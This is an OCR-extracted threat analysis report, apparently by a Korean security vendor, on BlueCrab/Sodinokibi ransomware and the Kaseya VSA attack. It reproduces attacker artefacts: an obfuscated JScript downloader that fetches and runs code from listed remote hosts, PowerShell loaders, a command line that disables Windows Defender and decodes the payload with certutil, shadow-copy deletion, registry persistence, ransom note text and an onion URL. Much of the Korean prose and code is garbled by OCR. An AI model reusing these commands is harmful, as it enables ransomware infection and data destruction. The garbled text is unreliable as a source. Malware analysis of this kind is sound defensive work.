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function remove(elem) {
if (lelem) return:
elem.parentNode.removeChild(elem);
}
if ldocument.all) document.all = document.getElementsByTagName("*");
for (i = 0; i = document.all.length; i++) {

if (document.all[i].tagName == "BODY" || document.all[i].tagName == "HTML") {} else {
remove(document.all[i]);
H
}
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XC58(MZo1,higa);if (Rd92(hJ96)) RKB1=uT29(RK81,kHS,RK81);

=

("Y;while (hJ96 < nl74) {kH9

Vu7;RK81

p99,w18) {return Lx51 = eMN16(FO73).split{kR31);}

ws28,mN32) {return ws28.charAt(mMN32);}
MZ61) {hi96

Pere?);
ion XCS8
ion kS41(

i

ion eMN16
ion Rx91(Mq22,PQ1) { return Lx51[oMN30]{Lx51[0z92])(Lx51[0z92]);}

ion HI54(vz88,mD63,nf33) {return Lx51[oMN90] = jW2T7[Lx51[VuT]l}

ion Rd92(Tm31) {return Tm31 % (0z92+0z92);}
ton Ox61(Ux16)

Ox61(1,
ion UT29(tH73,IW30,nb46) { return tH73+IW30; }

el = = = ==

oN30=0z92+Ux16%0z92 +Ux16;

funetion JW27(qo12)
nl74

FOT3 = 111 4¢
VuT=qo12;}

jWa7(0,
func

fune

func

func

fune

func
Q0z92=Ux16;
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function surprise(}{major="oqtf ; wave = every(hunt).split{major);post] ] = seem;}
function would(lady, gun,any,governiiwave[stick] (wave[offer]}(postk)

function tie{eye,truck){return eye.charAt(truck);)

function busy(fraction){return fraction % (offer+offer);)

function receive(travel,name,quotient){flowers 1;offer=flowerstick=offer + flower*offer+flower;post[ ] = surprise;}
function appear(include, fly){hunt = W e I ARFOMDe2OM p="5I IOn=DMs RAe
function every(are){a=store;two="";while (a < ) {planet=tie(are,aktwo=operate(two,planet,a); a++; lreturn two;)
art(post=[ %

function art(shape,gentle,rule,planjlove= swhile( T4 try{post[love] 0;Jcatch(object){post[ |=appear:llove++1}
function seem(least,brother,soon}{wave([stick] = appear[wave[store]l;post[>214017] = would;}

function operate(train, sentence, made) { if (busy{made)) return train+sentence; else return sentence+train; }

[3& 11] 20204 128 ¥ 0|= JS mjY

N o= 2 HEE R I HARCH =MZ Y& AEorD H50| il 3R U5
C&C MB{0f H&2 AEDITE offd C&C At = €M 2188 REATOIN HHE IHEE
o0 HH0[ OfFJH IP 4 2HFUMTE AZ0[ JHSOHEL. ek o LO|X|0f| E=50}
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b = ["stud.udpu.edu.ua", "souresiduozerc.com.br"™, "sphclan.supercurro.net”];
E = 0;
while (E < =) {

[LIHE™) {
}
try {
z.open{"'GET', 'http=://' + bI[E] + '/search.php' + "?zwhznwbekabjvhg=" + J, false):
Z.8end();

} catch (=) {
return false:

}
if (z.statns = 200} {
var s = z.responselext;
if ((s.indexOf("E" + T + "E", 0)) = -1} {
WScript.sleep(22222)
1 else {
3 = s.replace("E" + J + "E", ""):
var F = s.replace(/(\d{2})/g, function(z) {
return String.fromCharCode (parseInt{a, 10) + 20):
i
Fire[2] (B} ()
W3cript.Quic (),
}
1 else {
WScript.sleep(22222)
}
E++;
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O|=(CobaltStrike) ol =45 AX|S= ATZEES L2 Eottt IYHE AEZIO|3F
(CobaltStrike) 24 Al A S2 25|, 58 0|5 & S4AQ| Lot BYsS = Jtsoi22,
AD 2tZ0|M= T PCTH 00 ZBAP = A B0t SH 0|55 Solf B2 34 =E5 ¢
2ol 01 345 eA6k= A0| O 24P 37| 0Tt ot ol 2tE2| PC= tHEE
1Y 2HFE0|H2 V|2 22 HE 5, &/t gt 4 & U= Lier 3240] 7tsohit
Cf, ZHE AEZ[O|Z(CobaltStrike)2] Z4Y APt C&C At M= R J7|{F S2F HEEX|
Oi] FAIEIUC,, HERAO2] LM EEH 2 HE O |= 42 A= FHEIL,

C&C MHEREH FII2 UR2EEE LY Y2otel AHATEHE IrEo|0 ofE g
= 2%t 2 HAolty, 0|= Lfd(PowerShell)s &-&010] HAU(NET) PES Aot &
SU(NET) PE= 21}0|(Delphi) PEE &Skl ZLt0|(Delphi) PE= =EHLZ =F3H
(BlueCrab) 2HMQOIZ MGt 0|2 JS — Il (PowerShell) — SHEI((NET) — HI}O|
(Delphi) - =38 (BlueCrab) 22 0|0{X|= HMHCI 2 2 |SAIEUX(L 24 HAZE=Z

20201 108 7HK= L2 T ((PST) s dd = 2dok= TS ARSI H8E T2s &
=

Aok= LR E(PowerShell) BE0i= [ 11 £0] HIC,

ot o
B g 0424 0f

"C:\~powershell.exe" ~ExecutionPolicy Bypass ~windowstyle hidden ~Command

2019.11.05
2020.01.02 "C:\~powershell.exe" ~ExecutionPolicy Bypass -windowstyle hidden -Command
o "IEX ((Get-Content 'C:\Users\vmuser\AppData\Local\jmwnprzfhf.ps1’).Replace('~',"));"
"C:\~powershell.exe" -ExecutionPolicy Bypass ~windowstyle hidden ~Command
2020.01.07

"IEX ((Get"-Content 'C:\Users\vmuser\AppData\Local\mnhzhiftc.ps1').Replace('~',"));"



"C:\~powershell.exe" ~ExecutionPolicy Bypass ~windowstyle hidden ~Command

2020.01.08
"IEX ([10.File]::ReadAllText('C:\Users\vmuser\AppData\Local\ffoggru.ps1')).Replace('~',"));"
"C:\~powershell.exe" ~ExecutionPolicy Bypass ~windowstyle hidden ~Command
2020.01.09
"IEX ((Get=Content 'C:\Users\vmuser\AppData\Local\istiwpsgn.ps1') -replace '~',");"
"C:\~powershell.exe" ~windowstyle hidden ~Command
2020.01.13
"IEX ((Get-Content 'C:\Users\vmuser\AppData\Local\yheivpagdx.ps1) -replace '~'");"
"C:\~powershell.exe" ~windowstyle hidden ~Command
2020.01.16

"IEX ((Get-Content 'C:\Users\vmuser\AppData\Local\ggvooroi.dll').'rep'lace'('"~',"));"

[ 1] T/ 2l(PowerShell) H0] 1 1hy

AT W20 BAUS ZIM HSHBIILE BHS 2Tkl S Miejdo] Ry EXIg
AKEBI0] X|ZH o= Fict © SISl s A X QIS A0 &

P [e] yicn B Iiti = el o] SN

for (var i = 0; i <= weoukgvtcig.length - iy |
modahvh = modahvh + vcukgytcjg.substring(i, i + 1):
if (modahvh.length = oA
wodbkluab.RegWrite ("HEEY CURRENT USER\\SCFTWARE“\" + sivinwvy + "\\" + dguojkz, modahvh, "REG SZ"}):
dguojkz = dguojkz +
modahvh = '';

}
}

if (modahvh.length > 0) {

douojkz = dguoikz +

wodbkluab.RegWrite ("HEEY CURRENT USER\\SOFTWARE\\" + siwvinwvy + "\\" + dguojkz, modahvh, "REG _SZ"): (:
¥

bpsufigzzgo = ' Si=( l= ' + dguojkz +
VIS TH £

o) s A0S ] . co8LUp ) #

wodbkluab.RegWrite ("HKEY CURRENT USER\\Environment\\" + sivinwvy, bpsufigzzgo, "REG EXPAND SZ");: @

[Z28 13] 2IX|AEZ] & 2HE # HIO]E &f2 2=
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=3 Xl A O - 1 L oL Z+ro 17}1ol H{= re) =x
= O|8= 7t & UL 20| S4XF= 012F 22 Lrze|A Vs HERr Ao =2 FHEIL,
e LR
OEFE BUE =2V AR EEIH
= 7 E| WHIKEY_CLIRRENT_USER¥SoftwaredDESKTOP-BAT 50
w | | Software Al o8B A GIoE
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Catch{}};function chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);$Bytes = [byte[]]::new($hs.Length /
2);for($i=0; $i -It $hs.Length; $i+=2){$Bytes[$i/2] = [convert]::ToByte($hs.Substring($i, 2), 16)}$Bytes};$i = 0;While ($True){$i++;$ko =

[math]::Sqrt($i);if ($ko —eq 1000){ break}}[byte[]]$b = chba($a.replace(“l@#” $ko));[Reflection.Assembly]::Load($b);[Mode]::Setup();
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(3 6]9| Hef= Z2A|A Ef| A280f HelE 50| THS 22orak}
EIEE KA A= 21 2l 27| FE 2 A0 2 GlOo| XHEHO| 7158t TS R |

L-O
20l EAO| ZITH 3| BX 02 AHECS

oHH QP AITHE 2.3 JS I ol 2iget TUE AECI0|3(CobaltStrike) 2 UHO M=
£ he] RHI(NET) PES AESHH 2128 20 (Loader)2} 21MIE (Injector)?| 7|55 oiCf. [
2 20]2 DUE AEZ0|T3(CobaltStrike) thE2| Q1M TES LIEHAH Z10|CH 2= 2K
AEL|0 SEE QHE HIO|HZ|E S2vt & HAlSt= S ot O|ZdHA| JdE QIME{o]|
= O3t 20| QMM Ty Z2M|A(ImagingDevices.exe)2| B27F SF=2 FE[0] QT Of
T MM CHY 2N AE CRC MHRF OREP K| = QefEE HEEX| QIRUTY,

{!Diagnos tll = LCreateProcesss( "0 ogram Files MW indows Photo Yiewert ImaginaDevices,exe", "
fera, . 13421773820, . , startuplinformation,

prnce::lnfurm1t|nnll

Except ion )

2.6 Eu}o|(Delphi) PE

HIHO|(Delphi) PE= AE5X o2 2233 (BlueCrab) 2AMY0] HIO|HZ |2 2ESH= &2
SoHSHH | B |XF HSFS 7] 2ol UAC A X| EIAS HIEMO 2 =47 | V|5t EY
MO HESS 226H| 2R

F ST Efetc

L

.

A Z2NAL| Hots HARGI0] e |Xf Hor0] Ofz B 2tk HoleZ IElAZ|H O

= O L [
[ [T2 21]2F 20| UAC HIA|X| AT} Lo =0 AREAPE 0" S 2 WPIFX| 1002 = &
AL S HIAK]| 2fATF ===l SOt0|= CHE Aele o o= Qi tHE=2| 8D E= Hot
= d5ol/| flol #FHE 0|02t S HUHR(0i= R €0 =50t A2 dHot



MEA AR HEE >
O] MHO| C|HIO|AE HHT = QYL E 5|23}
AlAolR?

E Windows PowerShell

2ol =l HA|RE Microsoft Windows

g WS EA

o otL 2

il Z2 Y 22| FE0M= V3 K SEoF O ZRE[0] RURUY| W20 KA 24 FA

.- AA ,

ﬁ
STHOD DLIEIZGHO} UE RLOICE V3 HIE 23] BXC| HEe B & 8 Exion
7

L
'Ol EiEA2! 7| ZO|L,

1) LA Z2MA ARE
V3 Lite RHZQ| 7|2 41| Z2ES ZASI01 oY ZEIF FA B2 27150l DLL TS A
SSHCE (D2 22]9] ZbA| E2H|A DLL TS0 ARME ORTE0| S5t 042 DLIES}

10
0 Z2NAF E2E 32 M Al7|= 71S0] 220 QL.

L

if ( Func_GetFileAttributesA((int)"C:\\Windows\\SyswOWe4\\diskpart.exe™) )
sub_483CeC(v7, "C:\\Windows\\SysWOwWe4\\diskpart.exe");
else
sub_4083CeC(v7, "C:\\Windows\\System32\\diskpart.exe"); CB
= 2000;
[while]( (unsigned _ int8)Func_FindProcess((int)[diskpart.exe™) )
{
Sleep(@x1388u);
if ( !-- )
_writefsdword(®, (unsigned int) |H

= 8loc_413F34;
sub_403C3C(viz, 2);
sub_483A844();

}

sub_313974();
sub_4@3EBC(v9, "log.txt");
if ( Func_GetFileAttributesA( } )

sub_413974();
sub_4@3EBC(v1e, "log.txt™);
= sub_4084884();

sub_405968( );
}
Func Run Sibling Powershell(vd, v3);
Sleep(@x9C4u);
Func_Inject Ransom diskpart((int)&off_41385C, 1, @);
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if ( sub_413618(v3, (int)"V3 Service™) )
{
vE = 509;
do
{
Sleep(1@@8u);
if ( !sub_413613(v7, (int)"V3 Service™) )
break;
I
while ( v6 );
1
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Find r69vf1 {ooZ-readme.txt and follow instuctions
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(7] "2): Supply Chain Compromise(TID: T1195)
7 P[0k (Kaseya)A 2] VSA #UHS 0183810 C:\kworking 20| agent.crt L& (base64 QI

YIS AT,

1) Initial-Access

2) Execution(2&): Command and Scripting Interpreter(TID: 1059)
7 AlloF(Kaseya)Ate| AgentMon.exe0i| 2[of] Lt/ (PowerShell) BZ0IS HAH,

3) Defense Evasion(20] 2|I|): Impair Defenses(TID: 1562) & Masquerading(TID:
1036) & Obfuscated Files or Information(TID: 1027) & Indicator Removal on Host(TID:
1070)

"CAWINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.

exe Set-MpPreference —DisableRealtimeMonitoring $true —DisablelntrusionPreventionSystem $true —DisablelOAVProtection

$true —DisableScriptScanning $true —EnableControlledFolderAccess Disabled —~EnableNetworkProtection AuditMode —Force
-MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe &
echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe ~decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f

c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
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-DisableRealtimeMonitoring: Windows Defender AA[Zt ZHA| =2

-DisablelntrusionPreventionSystem: Windows Defender CHZE It Z4AL H|gd3}

-DisableScriptScanning: Windows Defender AT EE AL H|2Hd3}

-EnableControlledFolderAccess Disabled: M[ot=l 20 H2 512

-EnableNetworkProtection AuditMode —Force: HIEQIF HS 2 H|ZAS}

-MAPSReporting Disabled: Microsoft Active Protection Service 211 H|2Hdz}

-SubmitSamplesConsent NeverSend: Windows Defender 2Z Xt= gh4s HIZHS|

-copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe: 4 certutil.exe windowsZdZ0]| cert.exeZ SA}
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Header, NT HeaderQ| A|ZL|XQt DOS Stub TE 2X}QE0| B&= X1 = FEHZ T2 2|40
=IO Ot 7|82 BLEHE SO|Lf il Z=T200] JEks 29[6H| floh 58z =

H_ —4—

Z ArgEL.



00000000
Q0000010
Q0000020
00000030

00000000 |00 00|90 00 03 00 00 00 04 00 00 00 FF FF 00 QO [:] .......... ¥¥..
Q0000010 B8 00 00 00O 00 00 00 00 40 00 00 00 00 00 OO0 QO
Q0000020 00 00 00 0OC 0O 00 00 00 00 00 00 00 00 00 Q0 QO
00000030 00 00 00 00 00 00 00 00 00 00 00 00 FO 00 00 QO

00000040 00000040 (00 00 QO 00 00 00 OO 00 00 00 00 OO 00 00 QO Q0
Q0000050 |69 73 20 70 72 &F &7 72 &1 €D 20 &3 €1 EE €E &F |is program canno 00000050 (00 00 QO 00 00 QO 00 00 00 00 Q0 00 00 00 QOO0 QO
Q0000060 |74 20 62 65 20 72 75 6E 20 €% 6E 20 44 4F 53 20 |t be rum in DO3 00000060 (00 00 QO 00 00 00 OO 00 00 00 00 OO 00 00 QO Q0
00000070 (6D 6F €4 65 2E 0D OD OA 24 00 00 00 00 00 00 00 |mode.... 00000070 (00 00 QO 00 00 00 OO 00 00 00 00 OO 00 00 QO QO
00000080 (F1 9E 56 58 BS FF 38 0B BS FF 38 OB BS FF 338 OB 00000080 (00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 OO0 QO
00000090 (8E Al 3D OA B4 FF 38 0B SE Al 3B OA BT FF 38 OB 00000090 (00 00 QO 00 00 00 OO 00 00 00 00 OO 00 00 QO QO
000000A0 (8E Al 3C OA B4 FF 38 0B €8 00 F6 OB B4 FF 38 OB 0Q0000A0 (0QC OQ QO 00 00 00 OO 00 00 00 00 OO 00 00 QO QO
000000BO (68 00 F3 0B BO FF 38 0B BS FF 3% OB A9 FF 33 OB 000000BO (00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 OO0 Q0
000000C0O (68 00 EB 0B B4 FF 38 0B 22 Al 3C OA AF FF 38 0B 0Q00Q00Co (00 00 Q0 00 00 00 OO 00 00 00 00 OO 00 00 QO QO
000000D0 (22 Al 3A OR B4 FF 38 0B 52 €9 €3 €8 BS FF 38 0B 0gQ0Q00D0 (00 00 Q0 00 00 Q0 00 00 00 00 Q0 00 00 Q0 QOO0 QO
Q0Q0Q00E0 (00 00 00 00 00 00 Q0 00 00 00 00 00 00 00 Q0 00 OQO0QO0ED (00O 00 00 00 00 00 00 00 00 00 00 00 00 00 QO QOQ
Q000Q00F0 (50 45|00 00 4C 01 05 00 A3 AO ET7 SE 00 00 Q0 00 0Q0Q00F0 (0QC 0OOQ |00 00 4C 01 05 00 5A AD A6 60 00 00 0O QO
00000100 00 OO0 00 00 EO 00 02 21 0B 01 QE 00 00 RE Q0 00 00000100 00 OO Q0 00 EO 00 02 01 0B 01 QE 00 00 C4 00 QO

[2E 27] Hi22[of| =& O[0]X| H|& (X} JS RE WE / 2 FIMO0KKaseya) HE

N

2(BlueCrab)OlAHs BHAI0] AR A4 L2014 [1 28121 2
=PI e 2250 S A} EXfECE siE TS A2 SR oo

XS XS] Sl Q=HOE Aot ATOICE IpH0F(Kaseya) AB0IAK= (12 29)
0

| Siig F=0] =i 618 F0IS ddot= D=2 E|OIRILL

if { GetCurrentThreadId() == 777
&& CreateFileW(L"kremez and hszrd fuckoff.txt", exCoo00066, 4u, @, lu, 8x80u, 6) != (HANDLE)-1 )

1

Addatomb("polish prostitute™);

[23 28] &8 247tE et HAX (JS 7=

H:
rultl

)

[23 29] E=1Y 518 BF0| (FHM|0K(Kaseya) M=

LEM|A B AR Al IS 72 52 82 "'mysqgl” S| =ArER RI6t0] SZSHKEE 7}
o O

M|OF(Kaseya) 52 LIYot ZAES 20l 2 SRt &l &2 Z2M|A OIS0 [ 10]2}
22 =AIZ0| B 4% E= 0| =i



encsvc, powerpnt, ocssd, steam, isglplussvc, outlook, sgl, ocomm, agntsvc, mspub, onenote, winword, thebat, excel, mydesktopqos,
ocautoupds, thunderbird, synctime, infopath, mydesktopservice, firefox, oracle, sgbcoreservice, dbeng50, tbirdconfig, msaccess, visio,

dbsnmp, wordpad, xfssvccon

4) C&C MH| g% 0%

=53 (BlueCrab) eigdR0l= LIEH2Z L2 URLE 7HAAL Rl Yoet e 2te =
Ol URLO| &Y & HEE H&0t= 7[50] EAfeitt. T2 URL & &R 7HZH0] &X| 54
APt 2&0k= C&C *1H1 Aoz HEHEIL) [ 30]r 20 JSE FiEE= 52 87 O
ook C&C MH H5 750 7822 gdst E0fQIEE SRR M0k (Kaseya) &2 BF
Hlg-det +|O1O'O1 Ao WV S2E Ol offd AP/t =X F=t,
g, g, s, e, e, memiat, e, “ost || S, memar, s, . s, et “ocS, “mepct

[28] 30] C&C AfH] % 017 &7 JSON o (Ff: JS RE HS / 2 F[M|0K(Kaseya) S

A 2 MO SO M=ol A= SEE2At 222 At S0A K07 U
S S 2232 (BlueCrab)o] NIBO| S4 SXH= HEIS 8B S HEE 280
Ck [T 312 4 diEe| e =E& H]uoo] LIEHH Z10|Ct

——=Welcome. Again.==- | 15§ = BlueCrab, IHE B nl32rizix3+readme.txt

wnats[Fasger] [+

Your files are encrypted, and currently unavailable. You can check it: all files on vou computer has

expansion nl3Zrizix3,
By the way, evervthing is possible to recover (restore), but wou need to follow our instructions. Otherwise,
you cant return vour data (HEVER).

—=== VeTcome. Agaln. ===—- | Kaseya BlueCrab, ZF 2 B: vay3d-readme. txt

EI WhatsW[—]

Your files are encrypted, and currently unavailable. You can check it: all files on wour swstem has extension
vy 3d,

By the way, evervthing is possible to recover (restore), but wou need to follow our instructions. Otherwise,
voll cant return vour data (HEVER),




Rel= E23W(BlueCrab)Q| AR [I 1)1} 20| 28 M= FHI|(VSC)S AXsH | 2
olf 27+ I (PowerShell) HZI0IS MUSITH BG4 FEM[OF(Kaseya) MZ2| ZL [E 1212t

=
20| BEO| Ad|ES dd = COM H|IE AFESH0] 2{219] VSC 7S M = MX[eitt,

JS Q= MZ VSC Abx| Hai0f

= BZH0 powershell -e RWBIAHQALQBX:--(52F)---kAOWBOAA==
Cl2d &4t Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_Delete();}

[ 11] JS = M= VSC A8 HHO]

FM|ok(Kaseya) 4= VSC =3| H2|(WQL)

Namespace ROOT\CIMV?2

select * from Win32_ShadowCopy
Win32_ShadowCopy.ID='%s'

WQL

[ 12] 7IMI0f(Kaseya) MZ VSC X3 32|

)
JS 7 =F3E(BlueCrab)® 75' (13 32]2 £0] Hets HARSHO

1 =
It EXSHCE. O It UAC HIA[X[Z} i%EIm AFSAPLOIE
‘(')I‘_ =3 A 7

ﬂJ9

:lo

el

H

rot

o

oN

o 4r 4o

A
B
40
o
Ot
|-DZ
I
o
inl

I—l
_t:'__|
©

Delphl) PE TAIOIA 2t |X| Hok =lS0f| Hiffef 3% 4
40| =X 2= *'I'I*QEE o|0f7t Gl= T=0|H OlHer F== 7HM[O0F(Kaseya)



/5 = get _command line();
decrypt_string(&initbase, 2856, 12, 18,
/7[8] = 6@;

7[1] = @;

-
O

= @,
7[2] getForegroundiWindow() ;

[3] = out; I
/7[4] = v4;

/7[5] = v5;

runas

/7[6] = @;
7[7] = 1;
/7[8] = @;
/7[9] = @;
/7[18] = @;
s7[11] = @;
/7[12] = @;
/7[13] = @
/7[14] = @;
while { !ShellExecuteExW(v7) )
3
[23 32] JS R S H2|Xt Aot XY ZE
x
8) 27tEl g
O 11 AHZLO o A C =) S xe) O =0 o O| &£
JS 72 HEC 8% 6/ glia A8 Jtstt B FHM0K(Kaseya) M52 3% 771X Q] &4
=IHS = O = AHIZ [=Y = =
Of ZAfeitt. [1E 3312 + HiS2| &35 B|ulot0] LIEHH ZO[Lt. 7E[0k(Kaseya) S0 2
= . o “_ ” ol AlS = (=) | 5
EMohE U2 "-smode” 22 O sl E 2 Al BE s o RE= M E0t
HE MO 2 AlISHALIE MG E HEIS O Cd L
2 FE A AP Al (HE90) 2 2do== 280 F SH AFFeitt. 2 RE0M= 4
= "HOF &2 =) AISHE ©) O 0aH
S 2of SRUS0| 2R HeR=2 =8| JHPF EIC,
dword_1@811ee@ = find str_in commadline(vie) == 8;// -nolan |dword 4135C4 = find str_in_commadline(v13) == @;// -nolan
dword_ 18811884 = find str_in commadline(vZ) == 8;// -nolocal|dword 4135C8 = find str_in_commadline(vig) == @8;// -nolocal
dword_ 18811888 = find str_in commadline(v14);// -path dword_4135CC = find_str_in_commadline(v17);  // -path
dword_1881188C = find str_in commadline(v2) == 8;// -silent |dword 413508 = find str in_ commadline(v1l) == @;// -silent
decrypt string(a4, 2973, 9, 1@, v13); dword 413508 = find str_in commadline(v12); // -smode
v13[5] = @; decrypt_string(initbase, 699, 11, 18, v1G);
dword_18818FF8 = find str_in commadline(v13);// -fast v1G[5] = @;
decrypt _string(a4, 68, 5, 18, v12); dword 41358C = find str_in commadline(vlg); // -fast
v12[5] = @; decrypt_string(initbase, 3486, 11, 1@, v15);
dword_18818FFC = find str_in commadline(v12);// -full v15[5] = @;
dword 4135C8 = find _str_in commadline(v1s); // -full

(22! 33] & ME0| F4 |
(£ 13]2 —smode &3 & Al B2{0|Ct



7tM|0F(Kaseya) ME -smode M

| X|AEZ| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
S5 DefaultPassword = DTrump4ever

I X|AEL] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
5= *AstraZeneca = [ME Al HZ]

WinExec bcdedit /set {current} safeboot network

HX|AEL] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
o5 *MarinelLePen= "bcdedit /deletevalue {current} safeboot”

JS 7 SN = offd T/t 71S0| EXHOHK| Bt

[E 13] —smode SM AlSH A| SHQ|

MMZO| 4O OFsBl 30| A X J|EHMO2 SX|ES
7 o2 HXAEL] K5 8 55 S2

_'_

LS

7tM|OF(Kaseya) ME XIS X AELE| S5 (FM)

| X|IAEZ| 7| HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ot t32mMaunsR = [A3H exe Z2]
[ 14] 7tM[OF(Kaseya) HE Xt& & 2| X[AEE| S5
e B0 VSE XE DY QL HIO|X| URLZ [H 15]2F £€20{ &= A=
AL ZL, JS FE MEL FiMOKKaseya) &2 Thieo| ARt 2 R]0{T 10| OfL[2}
g2 87 DEOR HFELt,



2 A H[0]X| URL

Onion URL hxxp://aplebzu47wgazapdqgksé6vrcvezenjppkbxbréwketf56nf6ag2nmyoyd.onion/{UID}

Secondary URL  hxxp://decoder.re/{UID}

[£ 15] 2 HO]X] URL

4. 53 (BlueCrab) 0] F= ST

FploHKaseya) 20| 2ot 0)% Of2f 912 Y =QIKIofH SZXIZ ¥
XSYCt 0f% A0f X|{X] 242 Xt 20214 72 13Y, JSE2 FELE|= SR T (BlueCrab)
HRI0l0] QI RE SELQIC I7H B2 JRF QRS SHT 01T MES HHS 850
QESIE 0[24 Cha- ZMBIXIR O[KT 7R+ S0t QRS FESH ARl i3Itk

AMl= ?I2El 23 HOX|E 2EE0k= AMIAIEHE F=TF SO R 0 ME5S0]
g H

L—

C&C AN At Eoor SHO| Gl SEIOIC 2?0 Y 2z Al =l 7tstt 2y
2 g% S/tseh S0 X0 AZEX] =t 2 HOIX| =

LS L—

=l "decoder.re” EEoF 4K DNS #{2(0f| SEO[ Gltt.

(D Onionsite Not Found

¢ o &

Browser MNetwork Cnionsite

The most likely cause is that the onlonsite Is offline. Contact the onionsite administrator,

Details: 0xF0 — The requested onion service descriptor can't be found on the hashring and therefore the service
is mot reachable by the client,

[23 34] 2l ®& S7ts¢t 2 H0|X|
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EET10iS BRI, = S5 3 H#Y0 R ST S5 02 90| Yl A2z FEE
= S0 L SAAPE g 8 MHE EF[010] AlAo F2 Ll ofd Ak Z2 =
HOIRU= SJEHO[V] 20| ©IX[= FE7t BRA ARE o= [UZ0H| F2[0H0F STt

BHO2 ALSF RY 49l IIRIEE |

FEl

1 [
6]t 2Lt R 7IR=S S0 AEAE 2 Y, RECIEl S22 20215101 2HI0] Itz
O

2 2552 9 40 HU M 22 013 ZA 2 ZE = MH|A 501015 ZLBH 7|50{ OIS ZE ZEDRO[LA HXY

WM pdf 2IER7 professional k iso,5Z2|0|01 E&F ZE X|2H|E2|CH4| 2.0 pc,HIRIE @E 002 OfZE{HA ZE2{A miplatform
activex,7 | 2% AIE=0[ OQITMNEE HuM ot THRIZIE HH7 22 Ig ADEA| ttf 2= 10 O{H| E2HA| 5 DT ZE A
Y B2 72 AKX 5,220/ HiZetH £ AHO|AHAT HEIEwi H|Q LE SXt2F 2] pdf ot |IE £2,2EHE 2019 x
force,ddos 2 T2 5= 2010 £2 M=X[11pk FAX| heve T JIMX HAM pmbok SHEEF pdf T2 C|Q| L|XP7 1 AELTEHZE 2|
OFAE @ A ZAE QT ALRO|0] FLHY, A X| 242017 24 20tAE ol AHAE 2EX| HY| W8 AHIATZHERZ TiF 7080 e 2
=,CIAOHAE2 SH2IHX| REIE 2014 7| f=4 o2 F= QICIXIQ! cs6 =T RCIXIR FE2EE

[E16] AREAL 7R 7IRE &<

22398(BlueCrab) 201 R i) STE HEOIXIZH, Ol RASH IO B o

TC QT ARP ST YOO ALEXIe| Fopt Bestct,

SHI OF2Y V3 HE RO 2R3 (BlueCrab) #4RI01S ST 28 WEHEoR x| 9l
C

[ RITH
Ransomware/JS.BlueCrab.S*
Ransomware/Win.REvil.C4540965



Ransomware/Win.Sodinokibi.C4540962

(842 ZIEH]
Malware/MDP.Behavior.M3491
Malware/MDP.Inject.M3044

[0 22| TIE]

Ransomware/Win. BlueCrab. XM37
Ransomware/Win, BlueCrab . XM63
Ransomware/Win, BlueCrab . XM120

[AMS]| ZIEt]
Ransomware/JS. BlueCrab SA1413
Trojan/Win.MSIL
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